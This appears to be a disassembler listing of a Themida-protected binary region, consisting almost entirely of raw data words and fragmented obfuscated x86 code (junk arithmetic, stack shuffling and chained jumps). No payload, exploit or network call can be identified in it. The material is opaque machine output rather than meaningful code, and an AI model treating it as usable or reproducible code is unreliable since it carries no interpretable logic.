810F626Dh dd 5403E5F3h, 64EB810Eh, 817DFC5Ah, 0FE27FDC3h, 7DEB8187h dd 0E90517FFh, 475Eh, 0C80896BFh, 0E9FD095Fh, 0BAAEh, 0FFE98366h dd 65CDE9h, 4EC8100h, 54000000h, 0BD44E9h, 5C685F00h, 0E9000051h dd 0B749h, 90E9965Fh, 560000BCh, 4605D8BEh, 3BE68135h dd 0F772545Ch, 10EE81D6h, 899E1CCFh, 24348BF2h, 8704C483h dd 87D6F7F2h, 0DCC281F2h, 2D319F2Ch, 2BA2630Bh, 0DB59EA05h dd 2DD0017Ch, 7CDB59EAh, 0A2630B05h, 0DB2E92Bh, 0E3810000h dd 21BB079Bh, 46ABBD55h, 83E93149h, 89000068h, 0E2892414h dd 4C281h, 6AE90000h, 8B0000B1h, 0C4812434h, 4, 5C243C87h dd 9009E9h, 0C6814600h, 4F2546F0h, 6E87B951h, 0E1C14CF9h dd 0CEC18105h, 124D9EDh, 776859CEh, 0E900003Bh, 5FA1h ; --------------------------------------------------------------------------- loc_554EB0: ; CODE XREF: Themida_:00562A32j add ebp, 2BF75645h sub edx, ebp jmp loc_55C6D6 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 9670E9h, 0E9F52900h dd 10279h, 21E9F729h, 81000040h, 0CC75F7C7h, 81F70146h dd 0CC75F7EFh, 0B1B3E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554EF6: ; CODE XREF: Themida_:00556858j mov esp, [esp] jmp loc_56198D ; --------------------------------------------------------------------------- dw 0D1F7h dd 1431CA87h, 4AF2E924h, 3C890000h, 77836824h, 3C8B368Ch dd 4C48324h, 8C1FE9h, 53F68100h, 1BF92ECh, 24348BF1h, 43D6E9h dd 0B60F6600h, 0F66866C8h, 0C896676h, 0C7B0E924h, 0CF01FFFFh dd 81240C8Bh, 4C4h, 2BB5300h, 81000000h, 4ECh, 0FB63E900h dd 515CFFFFh, 2B9h, 0A3C38100h, 0E928F609h, 492Eh ; --------------------------------------------------------------------------- loc_554F6C: ; CODE XREF: Themida_:005654E6j pop edi xor ebx, 0E51132Fh xchg esi, ebx push esi xchg ebp, [esp] not ebp xchg ebp, [esp] push dword ptr [esp] pop esi push edx jmp loc_5565F7 ; --------------------------------------------------------------------------- dd 33243C31h, 0F1E9243Ch, 5D00009Ch, 118C6E9h, 20E95F00h dd 0F60000ACh, 80C2FED2h, 0D13009C2h, 3C8FE9h, 0EFEF8100h dd 8130AC06h, 0B4902CF7h, 5FFA01A4h, 77BCCA81h, 0E9551EC8h dd 1AA2h, 81242489h, 42404h, 34FF0000h, 240C8B24h, 81E38953h dd 4C3h, 4C38300h, 5C241C87h, 4192E9h db 0 ; --------------------------------------------------------------------------- loc_554FED: ; CODE XREF: Themida_:00562648j sub ebx, 37294C74h mov edx, ebx jmp loc_553682 ; --------------------------------------------------------------------------- dw 8359h dd 0EB8104C4h, 4, 4637E9h db 0 ; --------------------------------------------------------------------------- loc_555009: ; CODE XREF: Themida_:00557246j mov ecx, 6099151Ah shr ecx, 2 jmp loc_566C6B ; --------------------------------------------------------------------------- dw 0C483h dd 5DE95504h, 8300007Fh, 0D5F704C4h, 0C583D5F7h, 0AAC58101h dd 898490A6h, 242C8BE9h, 4C481h, 0C3810000h, 6D64748h dd 0B6E9CB01h, 1000028h, 22C381C3h, 5854E36Ah, 0F381DBF7h dd 8DD69223h, 1C8BD909h, 4C48324h, 0FFFFE981h, 0E1C1FFFFh dd 0E08DE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55506E: ; CODE XREF: Themida_:005551A1j mov eax, 17C5630Dh xchg eax, ebp inc ebp xchg eax, ebp jmp loc_55914E ; --------------------------------------------------------------------------- loc_55507B: ; CODE XREF: Themida_:00555ED2j add ebp, 4 jmp loc_55DA6F ; --------------------------------------------------------------------------- loc_555086: ; CODE XREF: Themida_:005647A8j push esi push edi jmp loc_55712F ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 241C8700h, 5624248Bh, 1102AE9h, 2978BA00h dd 0D7010B10h, 8124148Bh, 4C4h, 81F72900h, 102978EFh, 24348B0Bh dd 2E1EE9h, 8951AD00h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 241C895Ch, 876DE950h, 0DEBE0000h, 31FED9F6h, 0A8E95EF0h dd 8F000096h, 4832404h, 3C8B0424h, 0B3A7E924h, 0D3F70000h dd 42B2F381h, 0BA52CA40h, 3107441Bh, 5A7EE9h db 0 ; --------------------------------------------------------------------------- loc_555111: ; CODE XREF: Themida_:0055567Bj mov edi, 4FEA2AB0h push ebx push eax mov eax, 287E7F34h dec eax xor eax, 66606231h not eax xor eax, 73A52EF8h push ebp jmp loc_55F284 ; --------------------------------------------------------------------------- dd 64E9D901h, 0FF00007Dh, 34FF2434h, 24148B24h, 4EC81h dd 79E90000h, 83000100h, 0E90904C4h, 5D2434FFh, 4C481h dd 0EC810000h, 4, 0BBA3E9h db 0 ; --------------------------------------------------------------------------- loc_555165: ; CODE XREF: Themida_:00558179j mov ecx, [esp] push 4BE7h jmp loc_55390B ; --------------------------------------------------------------------------- dw 0E953h dd 1214h ; --------------------------------------------------------------------------- loc_555178: ; CODE XREF: Themida_:00558E23j mov ecx, 4BC91ECEh sub esi, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 0FE10E6Ah xor esi, ebx pop ebx or esi, 50BC1F98h add esi, 0FFFFFFFFh xor esi, 133C39CCh push eax jmp loc_55506E ; --------------------------------------------------------------------------- loc_5551A6: ; CODE XREF: Themida_:0055BBAFj push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] jmp loc_5669E3 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0 aCS db 8,'C-éÇÌ',0 align 4 dd 5503E956h, 0E9590000h, 270Bh, 0B652722Ch, 1C68078h dd 0F7A1E9h, 2434FF00h, 83240C8Bh, 0D4E904C4h, 57000116h dd 0FFD861E9h db 0FFh ; --------------------------------------------------------------------------- loc_5551F1: ; CODE XREF: Themida_:005519A0j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_55BE5E ; --------------------------------------------------------------------------- db 1, 0C8h, 5 aERssX db 'ìEÁrSéÒX',0 align 2 dw 0C505h dd 11E3A61h, 61C52DD0h, 565A1E3Ah, 2BEh, 3CE0E900h, 5D5A0000h dd 0E92434FFh, 0FD0Dh, 78C268h, 24148900h, 2E09BD55h, 0DBA742Fh dd 29742F2Eh, 0C1815DEAh, 701A01E6h, 0E956D101h, 10771h ; --------------------------------------------------------------------------- loc_555258: ; CODE XREF: Themida_:0055C058j pop eax add ebp, edi mov edi, [esp] jmp loc_55635E ; --------------------------------------------------------------------------- db 56h dd 4BEh, 5EF70100h, 7659E9h, 19EF6800h, 4890000h, 2C22B024h dd 8E8C004h, 0E0D0E0D0h, 0A48BE9h, 5E5C0500h, 0F8012C6Ah dd 6A5E5C2Dh, 198D052Ch, 34FF04C4h, 98685F24h, 8900007Bh dd 0E189240Ch, 0CCE4E955h, 8B660000h, 5457240Ch, 0A444E9h dd 0FFEB3100h, 835D2434h, 1A0504C4h, 29240308h, 81A2DD8h dd 685B2403h, 1369h, 0BE243489h, 35B331FEh, 0EE6CC681h dd 0B3E9D74Ah db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552E7: ; CODE XREF: Themida_:0055B5BDj xor ecx, ebp push ebp not dword ptr [esp] pop ebp jmp loc_558741 ; --------------------------------------------------------------------------- db 0C1h dd 0C9E905E2h, 68FFFFE3h, 3BC5181Eh, 83241C8Bh, 0D92104C4h dd 83241C8Bh, 0ACE904C4h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555313: ; CODE XREF: Themida_:00563118j inc ebp dec ebp add ebp, 1 push ebx mov ebx, 543C786Eh sub ebx, 1A4763DCh add ebx, 7F5D57FFh not ebx sub ebx, 573764A4h xor ebx, 97E52699h shr ebx, 1 xor ebx, 3C4914h xor ebx, 57196612h or ebx, 67911C90h dec ebx sub ebx, 15B683AEh shl ebx, 3 jmp loc_565F2D ; --------------------------------------------------------------------------- loc_55535E: ; CODE XREF: Themida_:00566AB1j mov esp, [esp] push ebx jmp loc_55A0AE ; --------------------------------------------------------------------------- loc_555367: ; CODE XREF: Themida_:0055A927j and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 5 xor ecx, 62256A1Ah push 0F4Dh jmp loc_56063B ; --------------------------------------------------------------------------- db 57h, 0BFh, 71h dd 811EEB0Ah, 4ECh, 24048900h, 97B6E9h, 6800h, 0DE90000h dd 290000B0h, 0CAECE9FAh, 0C4830000h, 55D60104h, 0D740E5BDh dd 4EC8173h, 89000000h, 0E951241Ch, 6EB7h, 64C7815Fh, 89059796h dd 0F9E95FFBh, 0B90000C8h, 5A19556Dh, 0C1D1F741h, 0DFE905E9h dd 0BA0000EAh, 7CE771A9h, 0FFD568E9h, 243C33FFh, 4B41E9h dd 0EC815500h, 4, 0D073E9h, 24048100h, 4, 786BE9h db 0 ; --------------------------------------------------------------------------- loc_55540D: ; CODE XREF: Themida_:0055FAB7j xor edx, eax jmp loc_5516EE ; --------------------------------------------------------------------------- loc_555414: ; CODE XREF: Themida_:005592FEj mov eax, esp jmp loc_55F61D ; --------------------------------------------------------------------------- loc_55541B: ; CODE XREF: Themida_:0055DA57j push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_55733B ; --------------------------------------------------------------------------- loc_555429: ; CODE XREF: Themida_:00557AAEj push edi jmp loc_55BBC5 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC2BAh, 0C5285866h, 8051B252h, 0DAF672F2h, 0F8C6E9h dd 57E18900h, 0FFCDB5E9h, 2434FFFFh, 0E9242C8Bh, 0B490h dd 875AD601h, 248B2434h, 66F83024h, 6EB4505Bh, 0FFC58CE9h dd 247C29FFh, 246C8104h, 0FE546404h, 243C8B70h, 4C481h dd 4290000h, 4EC8124h, 0E9000000h, 58A7h, 46F4C581h, 9DE92AD8h dd 89000047h, 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h dd 1E95424h, 31000003h, 0D3015EF2h, 84AAE95Ah, 0F5810000h dd 2AD077C2h, 0AFCDE9h db 0 ; --------------------------------------------------------------------------- loc_5554C9: ; CODE XREF: Themida_:0055CF77j pop ebx pop ebp and eax, ebx jmp loc_55B6A9 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 0C47E9h db 0 ; --------------------------------------------------------------------------- loc_5554DD: ; CODE XREF: Themida_:00555BABj not edi xchg edi, ecx neg ecx push edx mov edx, 0CD6E4FC7h push edi mov edi, 22F218B1h sub ecx, edi jmp loc_55EA95 ; --------------------------------------------------------------------------- loc_5554F6: ; CODE XREF: Themida_:00565303j mov [esp], edi mov edi, 450157D6h xor [esp+4], edi pop edi jmp loc_553505 ; --------------------------------------------------------------------------- dd 42474FFh, 4FD9E9h, 8B545000h, 0C4812404h, 4, 0FB29E9h dd 0C8B6600h, 0FD685224h, 89000066h, 4832424h, 2EE90424h dd 810000A5h, 4C4h, 0D4F5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555542: ; CODE XREF: Themida_:00551F05j xor edi, 154C2587h add edi, 0E648F984h mov ecx, edi pop edi sub edi, ecx jmp loc_564844 ; --------------------------------------------------------------------------- dd 6FC3814Bh, 29F70205h, 0D7215BDAh, 4B684F5Ah, 8900004Eh dd 4E9241Ch, 290000A1h, 71D6E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55557A: ; CODE XREF: Themida_:00562C96j xor ecx, 774D3FBh jmp loc_562629 ; --------------------------------------------------------------------------- aIxsp db '‰åép',0 align 4 loc_55558C: ; CODE XREF: Themida_:005597E8j xor ebp, 0FF67FFE1h add edx, 3E0248D5h add edx, ebp sub edx, 3E0248D5h pop ebp xchg edx, [esp] pop esp push 43E3h mov [esp], ecx push 573Ch mov [esp], esi mov esi, 50396C13h jmp loc_552C54 ; --------------------------------------------------------------------------- db 81h dd 0BE2432C1h, 89EA8164h, 294D6F03h, 89C281CAh, 0E94D6F03h dd 701Bh, 669FB635h, 58C101B4h, 8B240C87h, 0D0302424h dd 24148B66h, 0D021E9h, 37C18100h, 0E98253A8h, 9A31h, 4C581h dd 0C5830000h, 242C3304h, 0E9242C31h, 0AE0Ah, 396239BAh dd 0BB536Fh, 29000000h, 5BDA89D3h, 61EA8142h, 560BF073h dd 0C8C321BEh, 0FE81E931h, 0E952FFFFh, 94D0h, 2244C88h dd 240C8B66h, 0E902C483h, 0FFFFC0A6h ; --------------------------------------------------------------------------- loc_555648: ; CODE XREF: Themida_:0055CB86j pop edi or eax, ebx mov ebx, [esp] push eax mov eax, esp jmp loc_5586EE ; --------------------------------------------------------------------------- dw 0C681h dd 5EF85A40h, 1061BD55h, 0F74D233Ah, 4CE94DDDh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55566B: ; CODE XREF: Themida_:0055963Bj add eax, ecx pop ecx inc eax and eax, 2D6F3AE5h dec eax add eax, 0FFFFFFFFh push edi jmp loc_555111 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C483240Ch, 4EC8304h, 0E9240489h, 2CECh dd 54243489h, 14FE685Eh, 3C890000h, 4BD5524h, 0E9000000h dd 0CC7Ch ; --------------------------------------------------------------------------- loc_5556AC: ; CODE XREF: Themida_:0055276Fj push edi mov edi, 60CA6613h jmp loc_55BEBA ; --------------------------------------------------------------------------- db 68h dd 1481h, 0BF243C89h, 2, 565FFE01h, 0E4C4E9h, 0E9D52900h dd 0F402h ; --------------------------------------------------------------------------- loc_5556D4: ; CODE XREF: Themida_:00562CF5j pop ecx jmp loc_5545C5 ; --------------------------------------------------------------------------- loc_5556DA: ; CODE XREF: Themida_:0055B50Bj pop ecx push edi mov edi, 7CA81318h xor ecx, edi mov edi, [esp] add esp, 4 pop edx push esi push ecx push 4F3E5C0Eh pop ecx jmp loc_5667F5 ; --------------------------------------------------------------------------- dw 835Bh dd 3FE904C4h, 5C000041h, 0B4240489h, 0F7F48047h, 0FFEE56E9h dd 4C481FFh, 56000000h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0B850240Ch, 7DA9384Ah, 4EC81h, 0A9E90000h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55573B: ; CODE XREF: Themida_:005640D4j mov dh, al pop eax pop ebx push ecx jmp loc_559621 ; --------------------------------------------------------------------------- aHvl db ']hvl',0 dw 8900h a4Scf db '4$éc”',0 dw 8300h dd 895304C4h, 4C381E3h, 0E9000000h, 0F122h ; --------------------------------------------------------------------------- loc_555764: ; CODE XREF: Themida_:00551CCAj push 2Ch mov [esp], esi mov esi, 0D5F0EF7h jmp loc_55D82B ; --------------------------------------------------------------------------- loc_555776: ; CODE XREF: Themida_:00561C84j pop ebp pop dword ptr [esp] mov esp, [esp] push 64F7h mov [esp], ebx push eax mov al, dl jmp loc_561EC0 ; --------------------------------------------------------------------------- loc_55578D: ; CODE XREF: Themida_:00562F24j xor dl, 5Ch and dl, 73h sub dl, 0CCh inc dl sub dl, 0A4h or ah, dl pop edx push eax jmp loc_552F0A ; --------------------------------------------------------------------------- aSh__ db '^Sh._',0 dw 8900h dd 0E956243Ch, 114F9h, 81243C8Bh, 4C4h, 0BF575200h, 641620D0h dd 1620D4BAh, 0E9C28164h, 293DBF7Fh, 0E9EA81FAh, 0E93DBF7Fh dd 0FFFFD111h ; --------------------------------------------------------------------------- loc_5557DC: ; CODE XREF: Themida_:0055CD8Bj add edx, ecx add edx, 6CB908B3h jmp loc_55A360 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BF243C89h, 7241018Dh, 0B7C7E9h, 240C8B00h, 6863E9h dd 24248B00h, 240C8B66h, 6613E9h db 0 ; --------------------------------------------------------------------------- loc_55580D: ; CODE XREF: Themida_:005646E8j sub eax, edx pop edx add eax, edi add eax, 7C487F57h jmp loc_565240 ; --------------------------------------------------------------------------- loc_55581C: ; CODE XREF: Themida_:0055871Bj mov [esp], esi push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 sub edx, ecx mov ecx, [esp] jmp loc_55A407 ; --------------------------------------------------------------------------- loc_555838: ; CODE XREF: Themida_:005616D3j pop esi push 5457h mov [esp], eax push ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_553E69 ; --------------------------------------------------------------------------- db 0B8h dd 47E21718h, 5758C389h, 777ECBBFh, 9BC78142h, 89DC4ED1h dd 4E95FFDh, 57FFFFCAh, 576B03BFh, 0B2E94765h, 5FFFFFE0h dd 8704C383h, 515C241Ch, 0D425EBB9h, 1CF18171h, 0C1625A29h dd 38E902E1h, 540000F6h, 3469E9h, 26685C00h, 89000038h dd 0BA2414h, 1000000h, 7F3281CAh, 5AECECEDh, 0FFED23E9h dd 27E9ADFFh, 290000DAh, 64FCE9D3h, 0B1510000h, 6820E992h dd 0F7950000h, 922D95D5h, 93BC342h, 24048BC5h, 0C104C483h dd 685102EDh, 4D260E9h, 0E9814159h, 4532168h, 8104E9C1h dd 0D55CB4C1h, 42E98105h, 29F4990Eh, 240C8BCDh, 8104C483h dd 0F29E3EDh, 57D5F74Bh, 78950DBFh, 5FFD293Ch, 36DAC281h dd 0EA814E48h, 68247297h, 0C281EA01h, 68247297h, 36DAEA81h dd 2C8B4E48h, 4C48324h, 6D5168h, 24148900h, 42474FFh, 24048F5Ah dd 0FD2EE95Ch, 525FFFFFh, 0B0904BAh, 97E9564Ah, 100010Ch dd 242C8BE8h, 0E904C483h, 0A406h, 81DEF758h, 86CD11F6h dd 2C18167h, 81796F23h, 0D6624DC1h, 83F1010Ah, 1C8904ECh dd 624DBB24h, 0D9290AD6h, 0F1F9E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555996: ; CODE XREF: Themida_:0055BDC1j add eax, esi jmp loc_558A18 ; --------------------------------------------------------------------------- loc_55599D: ; CODE XREF: Themida_:0055748Dj push ebx jmp loc_55A943 ; --------------------------------------------------------------------------- db 0F7h dd 0C14747DFh, 0F78106E7h, 0E3A32D44h, 17E9FE01h, 81000032h dd 0C004246Ch, 5B442B34h, 0FFBD29E9h, 240C8BFFh, 81E28952h dd 4C2h, 0AB4E900h, 685E0000h, 101Fh, 1043BE9h, 0F0015C00h dd 0C77CE9h, 0F2B15100h, 88E96EB6h, 0C0FFFFF2h, 0B55102EFh dd 18C58055h, 0FE25ED80h, 3BCD80CDh, 28AFC580h, 240C8BEFh dd 4EC81h, 2C890000h, 0CF77E924h, 8953FFFFh, 70E957E3h dd 8300000Bh, 9BE904ECh, 0FF000018h, 8BE92434h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A33: ; CODE XREF: Themida_:00558B22j add edx, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 45E6581Bh shl edi, 5 jmp loc_558F78 ; --------------------------------------------------------------------------- dd 0ED2F9D05h, 2DE82940h, 40ED2F9Dh, 6E3A9A05h, 2434FF02h dd 5D2434FFh, 8304C483h, 0E36804C4h, 89000017h, 5C68241Ch dd 5B7BA1DDh, 0B34A9F2Dh, 52D80127h, 0A007A2BAh, 8CE2812Fh dd 42449305h, 0EA81D2F7h, 0D3CCAFDFh, 0E53BBF05h, 127A2D38h dd 4BE949DDh, 0B8000022h, 12814C72h, 57B0D48h, 12053320h dd 89F8AEE6h, 2B21E9C6h, 3C310000h, 0F91FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555ACE: ; CODE XREF: Themida_:0055E458j add ebp, 4B27DB3Dh sub esi, ebp pop ebp and eax, esi jmp loc_55F867 ; --------------------------------------------------------------------------- dw 1487h aLH db '$‹$$h^:',0 dd 24148900h, 0CB0D86BAh, 0E839E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555AF6: ; CODE XREF: Themida_:005541B8j shr edi, 8 sub edi, 181838A7h sub edi, 1E714FBAh jmp loc_56258D ; --------------------------------------------------------------------------- loc_555B0A: ; CODE XREF: Themida_:0055BD24j mov [esp], esi jmp loc_55DCA2 ; --------------------------------------------------------------------------- dw 48Fh dd 0F7DF8724h, 87DF87D3h, 34FF243Ch, 24148B24h, 4C481h dd 0D1E90000h, 2500009Ah, 57904828h, 0B34E0548h, 0C6012694h dd 4EC8158h, 89000000h, 0D6BA2414h, 297CFB19h, 0F0015AD0h dd 0E6CBA52h, 0DAF76795h, 68h, 24142900h, 7BDDE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B66: ; CODE XREF: Themida_:005544C0j add edx, 6B081EFEh add edx, ebp push ebp jmp loc_55F794 ; --------------------------------------------------------------------------- aSK db '!Íé#Š',0 dw 5500h dd 0B7F6E9h, 0C8B6600h, 2C48124h, 80000000h, 0C328A9EBh dd 0A9B652h, 89565AF3h, 4C681E6h, 83000000h, 0C8E904EEh db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555BA7: ; CODE XREF: Themida_:0055977Ej neg ecx xchg edi, ecx jmp loc_5554DD ; --------------------------------------------------------------------------- loc_555BB0: ; CODE XREF: Themida_:00566C2Cj push edi mov edi, esp jmp loc_56621C ; --------------------------------------------------------------------------- dd 0EBC05966h, 3AF38007h, 6449E9h db 0 ; --------------------------------------------------------------------------- loc_555BC5: ; CODE XREF: Themida_:00559879j not dword ptr [esp] pop eax xor eax, 0BBD2162h add edx, 3E3B31C5h sub esp, 4 mov [esp], ebp mov ebp, 7BD1007h jmp loc_551882 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 590B8800h, 0B9C0E9h, 0BD554B00h, 428A4675h dd 1B850h, 0C5010000h, 0E9D5F758h, 0FFFFBF39h, 2404335Ah dd 0F4A5E9h, 2CD80000h, 0E9890441h, 0C5C4h, 0E9241C8Bh dd 8860h, 0A8BAE95Eh, 0D9010000h, 4C21C181h, 0BB5337D3h dd 44A50875h, 33DCEB81h, 0BF573570h, 2AAD4C27h, 8543E9h db 0 ; --------------------------------------------------------------------------- loc_555C4D: ; CODE XREF: Themida_:005628F9j mov [esp], esi mov esi, 37B32897h xor esi, 2E3622CCh jmp loc_553020 ; --------------------------------------------------------------------------- dd 4219DA35h, 268AE910h, 0F5890000h, 9BE95855h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C73: ; CODE XREF: Themida_:00552BEEj add esp, 4 add ecx, 1BAF47D1h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55696A ; --------------------------------------------------------------------------- dd 31B4C681h, 8953F6EAh, 5BD889F3h, 0BBB8505Eh, 1502332h dd 0C32958C3h, 32BBEB81h, 6FE95023h, 81000078h, 0EA6207C3h dd 5BDF0135h, 0E9243C33h, 0FFFFF2C4h, 815AD329h, 603DDAC3h dd 7AADE94Fh, 248B0000h, 0E930FF24h, 0FFFFBA12h, 8F3EADBAh dd 0C1D2F719h, 0F28108EAh, 59AF5102h, 0C795EA81h, 0D10920E2h dd 6BB535Ah, 816F3E6Bh, 8B0010EBh, 0F7B85049h, 2D57472Dh dd 6C921D7Ch, 5F1BB951h, 0CB294616h, 0FFDC35E9h, 8BF231FFh dd 51E92434h, 81000055h, 174B8EAh, 0CDBF574Eh, 817FEC5Ch dd 0B745DBCFh, 0B8EDE909h, 248B0000h, 240C8924h, 0FFB9A9E9h dd 431A68FFh, 0C890000h, 0B99CE924h, 0EFC1FFFFh, 15EF8103h dd 89EB7C14h, 56405FF8h, 9E9CCFBEh, 8BF0290Dh, 0D3E92434h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D6F: ; CODE XREF: Themida_:005579DFj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx mov ebx, 76660C76h not ebx shr ebx, 5 and ebx, 5E2F03E2h shr ebx, 1 sub esp, 4 mov [esp], ebp mov ebp, 20601BCh jmp loc_566A97 ; --------------------------------------------------------------------------- loc_555D9F: ; CODE XREF: Themida_:0055B58Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5516EE ; --------------------------------------------------------------------------- loc_555DB4: ; CODE XREF: Themida_:0055A63Aj shl esi, 6 jmp loc_55CD40 ; --------------------------------------------------------------------------- dd 0A5F381h, 0DF292608h, 21C7815Bh, 8B4E3A1Eh, 0C4812414h dd 4, 0E9E78957h, 0FE1Eh, 4240483h, 5A2434FFh, 81E78957h dd 4C7h, 4C78100h, 87000000h, 815C243Ch, 4C2h, 31F6E900h dd 1C890000h, 24F8BB24h, 0C381233Bh, 0DCC4DB0Ch, 1C8BD801h dd 4C48324h, 8704C083h, 248B2404h, 4EC8124h, 89000000h dd 68E9241Ch, 87000048h, 895C2414h, 12BD242Ch, 812C1251h dd 5A2EDBF5h, 0FFC5814Dh, 0E9FFFFFFh, 0EB63h ; --------------------------------------------------------------------------- loc_555E4C: ; CODE XREF: Themida_:0055F8AEj push dword ptr [esp] jmp loc_564332 ; --------------------------------------------------------------------------- dd 33243C31h, 248B243Ch, 4896624h, 0E993B424h, 0FFFFC220h dd 8F04C483h, 665C2404h, 2404A30Fh, 0B874E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E7A: ; CODE XREF: Themida_:00556978j pop edx jmp loc_566A8C ; --------------------------------------------------------------------------- dd 0AC476968h, 243C8B52h, 6804C483h, 105Fh, 52240489h dd 0FFE12EE9h, 394768FFh, 0C890000h, 53D98824h, 1C88CB88h dd 0C8B5B87h, 3C93E924h, 83580000h, 348702C6h, 0D3665C24h dd 0E99C2404h, 0FFFFBD4Bh, 28D0EE81h, 8CE90BCDh db 31h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55507B ; --------------------------------------------------------------------------- db 0F6h dd 0EB2DE9D7h, 0BDB4FFFFh, 11DDE9h db 0 ; --------------------------------------------------------------------------- loc_555EE5: ; CODE XREF: Themida_:00559363j xor esi, [esp] jmp loc_5549C7 ; --------------------------------------------------------------------------- loc_555EED: ; CODE XREF: Themida_:00561DB2j xor eax, edx pop edx neg eax or eax, 3300BC7h sub eax, 1B414E34h not eax add eax, 14F05EA6h mov esi, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, esi push dword ptr [esp] pop esi add esp, 4 mov dx, [esp] jmp loc_55C3B8 ; --------------------------------------------------------------------------- loc_555F2D: ; CODE XREF: Themida_:0055D9C6j push edx jmp loc_55D37D ; --------------------------------------------------------------------------- a2uSD db '-(2ã$é\„',0 dd 0D9F76600h, 66D9F766h, 0B2D3E981h, 59CE0166h, 56E02D66h dd 3F5B0566h, 66F02966h, 663F5B2Dh, 0E956E005h, 0FFFFDB4Eh dd 24148B5Bh, 9F38E9h db 0 ; --------------------------------------------------------------------------- loc_555F6D: ; CODE XREF: Themida_:00560D8Dj mov ebx, esi jmp loc_565E14 ; --------------------------------------------------------------------------- dd 0C96866ACh, 1C896673h, 7B55124h, 0F683C580h, 3DED80DDh dd 0FFD639E9h, 3C8B54FFh, 3C8EE924h, 48F0000h, 44E95C24h dd 2C0000E3h, 66C20865h, 0EB4E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555FAA: ; CODE XREF: Themida_:00554936j mov ecx, esp sub esp, 4 mov [esp], esi mov esi, 4 add ecx, esi mov esi, [esp] add esp, 4 push ebp push eax mov eax, 667C5A3Ch mov ebp, 9983A5C8h jmp loc_55DF4B ; --------------------------------------------------------------------------- db 31h dd 0F6815DEEh, 1E8E0BF7h, 348BF109h, 4C48324h, 1AB4C181h dd 0C801DE74h, 0B54EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555FF2: ; CODE XREF: Themida_:00560E7Dj pop eax xor bl, 0F9h sub dl, bl jmp loc_55CB45 ; --------------------------------------------------------------------------- db 5Ch, 83h, 0ECh dd 24148904h, 0B050EEB2h, 58C228FAh, 28AEC380h, 73BEE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556016: ; CODE XREF: Themida_:005533B2j xor edx, 7B7B19h mov ebx, edx pop edx and edi, ebx pop ebx xchg edx, edi not edx jmp loc_559602 ; --------------------------------------------------------------------------- db 0BBh dd 1, 355BD801h, 5DF90E43h, 75C181h, 0C10141EFh, 75BE56h dd 0F12941EFh, 0FFE31EE9h, 81D1F7FFh, 0C0836F1h, 0C627E99Eh dd 15BF0000h, 577C057Fh, 243C8B5Ah, 4C481h, 0E2D10000h dd 0FAA5E9h db 0 ; --------------------------------------------------------------------------- loc_556071: ; CODE XREF: Themida_:00556092j neg ebx push eax jmp loc_565E9B ; --------------------------------------------------------------------------- loc_556079: ; CODE XREF: Themida_:00558DCBj add eax, esi jmp loc_553BAE ; --------------------------------------------------------------------------- loc_556080: ; CODE XREF: Themida_:00561BC6j add esi, 693A756Fh sub esi, ecx sub esi, 693A756Fh pop ecx push esi pop ebx pop esi jmp loc_556071 ; --------------------------------------------------------------------------- db 0BBh dd 4, 74E9DF01h, 52000075h, 3F45A8BAh, 0F245E935h, 1C87FFFFh dd 0C895C24h, 4B924h, 0CA010000h, 81240C8Bh, 4C4h, 4EC8100h dd 89000000h, 4682434h, 5E000000h, 1EBFE9h, 2C410400h dd 4D8009Bh, 86B7539Bh, 0E990E780h, 0FFFFF907h, 5105E1C1h dd 8F6EE9h, 24048700h, 0DDE0E9h, 4EC8300h, 0E9242489h dd 2530h, 4C481h, 0DEE90000h, 810000D1h, 4C5h, 242C8700h dd 0E924248Bh, 7E07h, 240C8B54h, 6804C483h, 35DFh, 51243C89h dd 0C181E189h, 4, 10149E9h, 58B86800h, 